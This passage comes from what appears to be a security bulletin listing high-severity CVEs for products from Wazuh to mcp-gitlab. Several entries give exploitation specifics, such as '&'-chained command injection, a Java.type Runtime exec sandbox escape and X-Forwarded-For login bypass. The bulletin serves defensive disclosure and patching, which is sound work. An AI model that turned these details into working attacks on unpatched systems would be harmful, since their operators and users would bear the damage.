| wazuh--wazuh              | Wazuh is a free and open source platform used for threat prevention, detection, and response. In versions 1.0.0 and above, prior to 4.14.5, a heap buffer overflow in <code>wazuh-analysisd</code> allows an unauthenticated remote attacker to crash the Wazuh manager's analysis engine, causing complete loss of SIEM alert processing. The attack exploits the default configuration shipped in the official <code>wazuh/wazuh-docker</code> deployment with default configuration. An attacker can enroll with <code>authd</code> without a password to obtain a valid agent ID and encryption key, connect to <code>remoted</code> over the Wazuh agent protocol, and inject rootcheck events containing <code>{key: value}</code> patterns longer than 30 bytes that trigger a <code>sprintf</code> overflow of a 30-byte buffer in <code>W_JSON_ParseRootcheck</code> , corrupting the heap and crashing <code>wazuh-analysisd</code> so that all alert processing silently stops while the dashboard and API keep showing stale data.                                                                                                                                            | 2026-07-16 | 7.5        | <a href="#">CVE-2026-34150</a> |
| wazuh--wazuh              | Wazuh is a free and open source platform used for threat prevention, detection, and response. In versions 4.0.0 through 4.10.3 and 4.11.0 through 4.14.4, a logic flaw affects the Wazuh Manager's enrollment daemon ( <code>authd</code> ) and synchronization daemon ( <code>remoted</code> ). The <code>authd</code> process allows agents to select a group during enrollment but does not filter path traversal sequences such as <code>"..."</code> . While the manager checks for the group directory using <code>wopendir()</code> , the <code>"..."</code> sequence references the parent directory ( <code>/var/ossec/etc</code> ), allowing it to pass validation. After the malicious group is accepted and stored in the manager's global database, the <code>remoted</code> process uses this unchecked value to build paths for agent configuration synchronization. As a result, sensitive files from <code>/var/ossec/etc</code> , such as <code>client.keys</code> , <code>ossec.conf</code> , and internal certificates, are included in the agent's shared configuration stream and exposed to the attacker. This issue has been fixed in versions 4.10.4 and 4.14.5. | 2026-07-16 | 7.5        | <a href="#">CVE-2026-39359</a> |

# High Vulnerabilities

| Primary Vendor -- Product               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| WebCodingPlace--Real Estate Manager Pro | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WebCodingPlace Real Estate Manager Pro real-estate-manager-pro allows Reflected XSS.This issue affects Real Estate Manager Pro: from n/a through <= 12.8.3.                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57398</a> |
| websockets--ws                          | ws before 8.21.1 contains a memory exhaustion vulnerability in lib/receiver.js where the fragment guard only triggers when fragment count reaches maxFragments, allowing attackers to exhaust memory by sending incomplete fragmented WebSocket messages. Attackers can send a text frame with FIN=0 followed by continuation frames without completing the sequence, causing each fragment to be stored as a separate Buffer object with significant overhead, enabling denial of service through heap exhaustion.                                                                                                                                                                                         | 2026-07-15 | 7.5        | <a href="#">CVE-2026-62389</a> |
| wekan--wekan                            | Wekan is open source kanban built with Meteor. Prior to 9.07, Wekan avatar upload functionality embeds user-supplied filenames into paths later passed to child_process.exec() for MIME-type detection. Because models/avatars.js and models/fileValidation.js used a shell command with the avatar filename, shell metacharacters such as backticks and \$() in the filename could execute commands on the server. This issue is fixed in version 9.07.                                                                                                                                                                                                                                                    | 2026-07-15 | 9.9        | <a href="#">CVE-2026-52891</a> |
| wekan--wekan                            | Wekan is open source kanban built with Meteor. Prior to 9.46, header-login with HEADER_LOGIN_TRUSTED_IPS uses getRequestIp() in server/lib/headerLoginAuth.js to trust the client-supplied X-Forwarded-For header before the real socket address, allowing an unauthenticated attacker to send HEADER_LOGIN_ID for any username and receive a meteor_login_token session, including for admin. This issue is fixed in version 9.46.                                                                                                                                                                                                                                                                         | 2026-07-15 | 9.8        | <a href="#">CVE-2026-55652</a> |
| wekan--wekan                            | Wekan is open source kanban built with Meteor. Prior to 9.37, Wekan DDP update allow rules in server/permissions/cards.js, server/permissions/lists.js, and server/permissions/swimlanes.js authorize against the stored source boardId and do not validate a new boardId in the update modifier. Any authenticated user with write access to their own board can call /cards/update, /lists/update, or /swimlanes/update to move cards, lists, or swimlanes into a private board they are not a member of. This issue is fixed in version 9.37.                                                                                                                                                            | 2026-07-15 | 8.5        | <a href="#">CVE-2026-55234</a> |
| wekan--wekan                            | Wekan is open source kanban built with Meteor. Prior to 9.31, Wekan allows a logged-in board member to insert an attachment document through the /attachments/insert DDP method with attacker-controlled versions.original.path and versions.original.storage fields. The server/permissions/attachments.js insert rule checks only board write access, and FileStoreStrategyFilesystem.getReadStream() in models/lib/fileStoreStrategy.js streams the stored path without a storage-root containment check, allowing arbitrary file reads and denial of service through special files such as /dev/zero. This issue is fixed in version 9.31.                                                              | 2026-07-15 | 7.1        | <a href="#">CVE-2026-52890</a> |
| wg-easy--wg-easy                        | WireGuard Easy through 15.3.0, fixed in commit 66b292b, contains a cryptographically weak one-time link token generation vulnerability that allows unauthenticated network attackers to recover WireGuard peer credentials by brute-forcing a keyspace of at most 1000 candidate tokens per client ID, as the token is computed using CRC32 over a random value constrained to 0-999. Attackers can enumerate candidate tokens against the unauthenticated /cnf/:oneTimeLink route, which lacks rate limiting and does not validate token expiration, to obtain a peer's PrivateKey and PresharedKey and impersonate that peer on the VPN network.                                                          | 2026-07-16 | 9.3        | <a href="#">CVE-2026-63089</a> |
| wger-project--wger                      | wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6. | 2026-07-16 | 8.1        | <a href="#">CVE-2026-43978</a> |
| wger-project--wger                      | wger is a free, open-source workout and fitness manager. In versions prior to 2.6, any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own. The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any                                                                            | 2026-07-16 | 7.5        | <a href="#">CVE-2026-43977</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                           | authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's. This issue has been fixed in version 2.6.                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| will-moss--Isaiah                                         | A flaw has been found in will-moss Isaiah up to 1.36.9. The impacted element is the function Server.Handle of the file app/server/server/server.go of the component Master Websocket Handler. Executing a manipulation of the argument Agent can lead to missing authorization. It is possible to launch the attack remotely. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                                                                     | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15541</a> |
| will-moss--Isaiah                                         | A vulnerability has been found in will-moss Isaiah up to 1.36.9. This affects an unknown function of the file app/main.go of the component Websocket Connection Authentication. The manipulation leads to improper authentication. The attack can be initiated remotely. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15542</a> |
| WinFsp--WinFsp                                            | Successful exploitation of the integer overflow vulnerability could allow an attacker to achieve system-level access to the affected software.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.8        | <a href="#">CVE-2026-7162</a>  |
| WordPress--WordPress                                      | WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the author __not_in WP_Query SQL Injection (CVE-2026-60137), could allow an attacker to perform SQL Injection and achieve Remote Code Execution.                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 9.8        | <a href="#">CVE-2026-63030</a> |
| WP Inventory--WP Inventory Manager                        | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Inventory WP Inventory Manager wp-inventory-manager allows Blind SQL Injection.This issue affects WP Inventory Manager: from n/a through <= 2.4.0.                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 8.5        | <a href="#">CVE-2026-57772</a> |
| WP Swings--Membership For WooCommerce                     | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Swings Membership For WooCommerce membership-for-woocommerce allows Path Traversal.This issue affects Membership For WooCommerce: from n/a through <= 3.1.0.                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 8.6        | <a href="#">CVE-2026-57709</a> |
| WP Swings--PDF Generator for WordPress                    | Server-Side Request Forgery (SSRF) vulnerability in WP Swings PDF Generator for WordPress pdf-generator-for-wp allows Server Side Request Forgery.This issue affects PDF Generator for WordPress: from n/a through <= 1.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.2        | <a href="#">CVE-2026-57407</a> |
| wpchill--Kali Forms Contact Form & Drag-and-Drop Builder  | The Kali Forms - Contact Form & Drag-and-Drop Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'digitalSignature' Field Value in all versions up to, and including, 2.4.18 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The required form-submission nonce is publicly available on any page containing the form shortcode, making this exploitable by fully unauthenticated attackers without any precondition beyond the form being published. | 2026-07-17 | 7.2        | <a href="#">CVE-2026-15395</a> |
| WPManageNinja--Fluent CRM                                 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Fluent CRM fluent-crm allows Reflected XSS.This issue affects Fluent CRM: from n/a through <= 3.1.7.                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57715</a> |
| WPMU DEV - Your All-in-One WordPress Platform--Forminator | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPMU DEV - Your All-in-One WordPress Platform Forminator forminator allows DOM-Based XSS.This issue affects Forminator: from n/a through <= 1.55.0.1.                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57814</a> |
| WPMU DEV - Your All-in-One WordPress Platform--Forminator | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WPMU DEV - Your All-in-One WordPress Platform Forminator forminator allows Path Traversal.This issue affects Forminator: from n/a through <= 1.55.0.2.                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57815</a> |
| WPPOOL--FormyChat                                         | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPPOOL FormyChat social-contact-form allows Stored XSS.This issue affects FormyChat: from n/a through <= 2.15.3.                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57379</a> |
| wpWax--Directorist                                        | Deserialization of Untrusted Data vulnerability in wpWax Directorist directorist allows Object Injection.This issue affects Directorist: from n/a through <= 8.8.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 9.8        | <a href="#">CVE-2026-59518</a> |
| WPZOOM--WPZOOM Portfolio                                  | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPZOOM WPZOOM Portfolio wpzoom-portfolio allows Reflected XSS.This issue affects WPZOOM Portfolio: from n/a through <= 1.4.29.                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57712</a> |
| WWBN--AVideo                                              | WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 9.6        | <a href="#">CVE-2026-54458</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery \$.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by <a href="https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16">https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16</a> . |            |            |                                |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip \$(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added \$, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', ' ', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted ("an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server") and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: <a href="https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f">https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f</a> .                   | 2026-07-16 | 8.1        | <a href="#">CVE-2026-55173</a> |
| WWBN--AVideo              | AVideo through 29.0 contains an OS command injection vulnerability in plugin/API/standAlone/functions.php where the listFFmpegProcesses() function interpolates unsanitized keyword parameters inside single quotes without escaping. Attackers who can craft a valid encrypted codeToExec payload can break out of the single-quoted grep context and execute arbitrary OS commands as the web-server user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 8.1        | <a href="#">CVE-2026-63304</a> |
| WWBN--AVideo              | AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-16 | 8.1        | <a href="#">CVE-2026-63305</a> |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. Versions prior to 29.0 expose .env files to unauthenticated users through the official Docker compose configuration. The official docker-compose.yml mounts the entire project root directory as the Apache document root, causing the .env file - which contains database credentials, admin passwords, and infrastructure configuration - to be served as a static file at /.env. No .htaccess rule or Apache configuration blocks access to dotfiles. Exploitation enables direct database access, admin panel takeover, and further lateral movement within the Docker network. This issue has been resolved in version 29.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-16 | 7.5        | <a href="#">CVE-2026-33692</a> |
| X-Rite--MA-T6             | An unauthenticated remote attacker can execute any command on the affected device due to not correctly verifying the origin of a communication channel.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-16 | 9.8        | <a href="#">CVE-2023-49899</a> |
| X-Rite--MA-T6             | An unauthenticated remote attacker is able to perform remote code execution due to incorrectly sanitized user input in the SetParameter command.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-16 | 9.8        | <a href="#">CVE-2023-49900</a> |
| XhmikosR--decompress      | The decompress package for Node.js extracts archives. Prior to 10.2.1 and 11.1.3, archive extraction can create files and links outside the target directory. When extracting an archive to a directory, a crafted archive can read or write files outside that directory because hardlink and symlink entries are created without checking where targets point, path containment used a string prefix comparison, and file                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 9.1        | <a href="#">CVE-2026-53486</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | modes failed to remove setuid, setgid, or sticky bits. This issue is fixed in @xhmikosr/decompress versions 10.2.1 and 11.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| yamcs--yamcs              | Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 9.1        | <a href="#">CVE-2026-44632</a> |
| yamcs--yamcs              | Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type("java.lang.Runtime").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 9.8        | <a href="#">CVE-2026-46562</a> |
| yamcs--yamcs              | Yamcs is a mission control framework. Prior to 5.12.7, the Yamcs script evaluation engine for Python algorithms dynamically compiled and evaluated user-controlled algorithm text using Jython through the JSR-223 ScriptEngine API without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing Python algorithm's logic through the mission database REST API and import and execute arbitrary Java classes such as java.lang.Runtime to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-16 | 9.1        | <a href="#">CVE-2026-46621</a> |
| yo35--RPB Chessboard      | The RPB Chessboard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content in all versions up to, and including, 8.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress's save-time kses sanitization does not mitigate this issue because the crafted payload uses only kses-allowed tags and attributes (such as an <a> element with title and href), and the dangerous attribute-breaking HTML is synthesized entirely at render time by the plugin's own comment_text filter.                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 7.2        | <a href="#">CVE-2026-13042</a> |
| ZcashFoundation--zebra    | ZEBRA is a Zcash node written entirely in Rust. Prior to zebra 5.0.0, halo2_gadgets 0.5.0, orchard 0.14.0, zcash_primitives 0.28.0, and zcashd 6.20.0, the variable-base scalar multiplication gadget in halo2_gadgets/src/ecc/chip/mul/incomplete.rs used assign_advice() for the base point without a copy constraint tying it to the actual base, allowing a malicious prover to produce a valid proof for an Orchard Action with an under-constrained base point and bypass the diversified-address-integrity check that binds pk_d, g_d, ivk, the nullifier (nf), and the spend validating key (ak) to the note being spent. This issue is fixed in zebra 5.0.0, halo2_gadgets 0.5.0, orchard 0.14.0, zcash_primitives 0.28.0, and zcashd 6.20.0.                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-17 | 9.3        | <a href="#">CVE-2026-54496</a> |
| zephyrproject--zephyr     | subsys/net/lib/lwm2m/lwm2m_pull_context.c copied the firmware-update Package URI into a fixed static buffer (context.uri, size CONFIG_LWM2M_SWMGMT_PACKAGE_URI_LEN, default 128) with memcpy(context.uri, uri, LWM2M_PACKAGE_URI_LEN), copying exactly the destination size with no length validation. The Firmware-Update object stores the server-supplied Package URI (/5/0/1) in a 255-byte buffer, so a LwM2M management server (or an on-path attacker on a session lacking strong DTLS) can WRITE a URI of 128-254 characters; only the first 128 bytes are then copied into context.uri with no NUL terminator. That buffer is subsequently consumed as a C string by http_parser_parse_url(context.uri, strlen(context.uri), ...), strlen-based CoAP URI-path/PROXY-URI option appends, and lwm2m_parse_peerinfo(), causing an out-of-bounds read of adjacent static memory. The over-read bytes are appended to outbound CoAP requests (information disclosure of adjacent device memory to the server/proxy) and can crash the device (denial of service). The vulnerable copy was introduced by the pull-context refactor (first released in | 2026-07-14 | 8.2        | <a href="#">CVE-2026-10672</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | v3.0.0) and is present through v4.4.0; the default-on CONFIG_LWM2M_FIRMWARE_UPDATE_PULL_SUPPORT path is affected. The fix adds a strlen(uri) >= sizeof(context.uri) check returning -ENOMEM and switches to strcpy(), guaranteeing a bounded, NUL-terminated buffer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| zephyrproject--zephyr     | The Zephyr ADIN2111/ADIN1110 10BASE-T1S/T1L Ethernet driver (drivers/ethernet/eth_adin2111.c) reassembles received Ethernet frames in OPEN Alliance (OA) SPI mode by copying device-supplied 64-byte data chunks into a fixed static buffer ctx->buf of size CONFIG_ETH_ADIN2111_BUFFER_SIZE (default 1524 bytes). In eth_adin2111_oa_data_read(), each valid chunk was memcpy'd into ctx->buf[ctx->scur] and the write cursor scur advanced, with no check that scur + len stayed within the buffer. The number of chunks (up to 255, from the BUFSTS RCA field) and the per-chunk length are taken entirely from the frame data received off the wire; the cursor is only reset on a start-of-frame chunk. An attacker on the single-pair Ethernet segment can therefore send a frame whose reassembled size exceeds the configured buffer, causing the driver's RX offload thread to write attacker-controlled frame bytes past the end of the static buffer into adjacent driver/kernel memory (up to roughly 14.8 KB in the worst case). This is a remotely/adjacently reachable out-of-bounds write (CWE-787) that can corrupt memory and cause denial of service or potentially code execution. The defect was introduced when OA SPI support was added (commit 0ca8b0756b1) and shipped in releases v3.7.0 through v4.4.0. The fix adds a bounds check that drops the oversized frame and resets the cursor before the copy.                                                                                                                                                                                                                                                                     | 2026-07-15 | 8.3        | <a href="#">CVE-2026-10673</a> |
| zephyrproject--zephyr     | On Xtensa SoCs built with CONFIG_XTENSA_MPU and CONFIG_USERSPACE, arch_buffer_validate() in arch/xtensa/core/mpu.c - the architecture hook that verifies a user-mode-supplied buffer is accessible to the calling user thread with the requested permission - defaulted its return value to 0 (access permitted) and only set a denial result inside its per-MPU-region probe loop. When the rounded extent of the buffer wraps the 32-bit address space (size + alignment offset near SIZE_MAX, or ROUND_UP(size + offset) overflowing to 0), the loop executes zero iterations and the function returns 0 = permitted without probing any MPU region. The syscall-layer pre-checks (K_SYSCALL_MEMORY_SIZE_CHECK / Z_DETECT_POINTER_OVERFLOW) only catch a raw addr+size wrap and do not cover the ROUND_UP-induced wrap, and the string path (arch_user_string_nlen -> arch_buffer_validate) has no syscall-layer guard at all. An unprivileged user-mode thread can therefore pass a crafted (addr, size) to any syscall that validates user buffers via k_usermode_from_copy/to_copy or k_usermode_string_copy and have validation succeed for memory it must not access; the kernel then reads from (disclosure) or, with write=1, writes to (corruption) attacker-chosen kernel or other-partition memory on the thread's behalf, enabling information disclosure, memory corruption, privilege escalation, and denial of service. Affected from v3.7.0 (when Xtensa MPU userspace support was added) through v4.4.0. The fix changes the default to -EINVAL (deny by default), adds an explicit size_add_overflow check, and sets the success value only after the full range has been validated. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-10669</a> |
| zephyrproject--zephyr     | In Zephyr's kernel pipe implementation, the userspace syscall verifier z_vrfy_k_pipe_init() in kernel/pipe.c used K_SYSCALL_OBJ() (which requires the kernel object to already be initialized) instead of K_SYSCALL_OBJ_NEVER_INIT() (which rejects an already-initialized object). As a result, on CONFIG_USERSPACE builds an unprivileged user thread that has been granted access to a k_pipe object can invoke the k_pipe_init syscall to re-initialize a pipe that is already in use. z_impl_k_pipe_init() unconditionally resets the ring buffer, sets pipe->waiting to 0, and re-initializes both wait queues (z_waitq_init on pipe->data and pipe->space) without waking or accounting for threads currently blocked on the pipe. Any thread already pended in k_pipe_read()/k_pipe_write() is left orphaned: still marked pending with pended_on pointing at the cleared wait queue and with stale qnode_dlist links into the (now re-initialized) embedded list head. When such an orphaned waiter is later timed out or woken, the scheduler calls sys_dlist_remove() on its stale node, writing through dangling prev/next pointers into kernel wait-queue/scheduler structures, causing list corruption (an attacker-driven invalid kernel write), lost wakeups, indefinitely blocked threads, and silent data loss. The flaw lets a deprivileged user thread corrupt the state of a kernel object shared with other threads/partitions. The fix switches the verifier to K_SYSCALL_OBJ_NEVER_INIT(), matching the existing k_msgq_init verifier, so a user thread can no longer re-initialize a live pipe. The vulnerable code shipped in v4.1.0 and remained through v4.4.0.              | 2026-07-14 | 7.1        | <a href="#">CVE-2026-10671</a> |

# High Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| zereight--mcp-gitlab                              | mcp-gitlab contains a path traversal vulnerability in the job_id parameter of build/index.js that allows attackers to redirect GitLab API requests to arbitrary endpoints. Attackers can supply crafted job_id values like ../../user to escape the intended path prefix and access arbitrary GitLab API resources using the operator's personal access token.                                                                                                                                                                                                                                                                                                       | 2026-07-13 | 8.6        | <a href="#">CVE-2026-61462</a> |
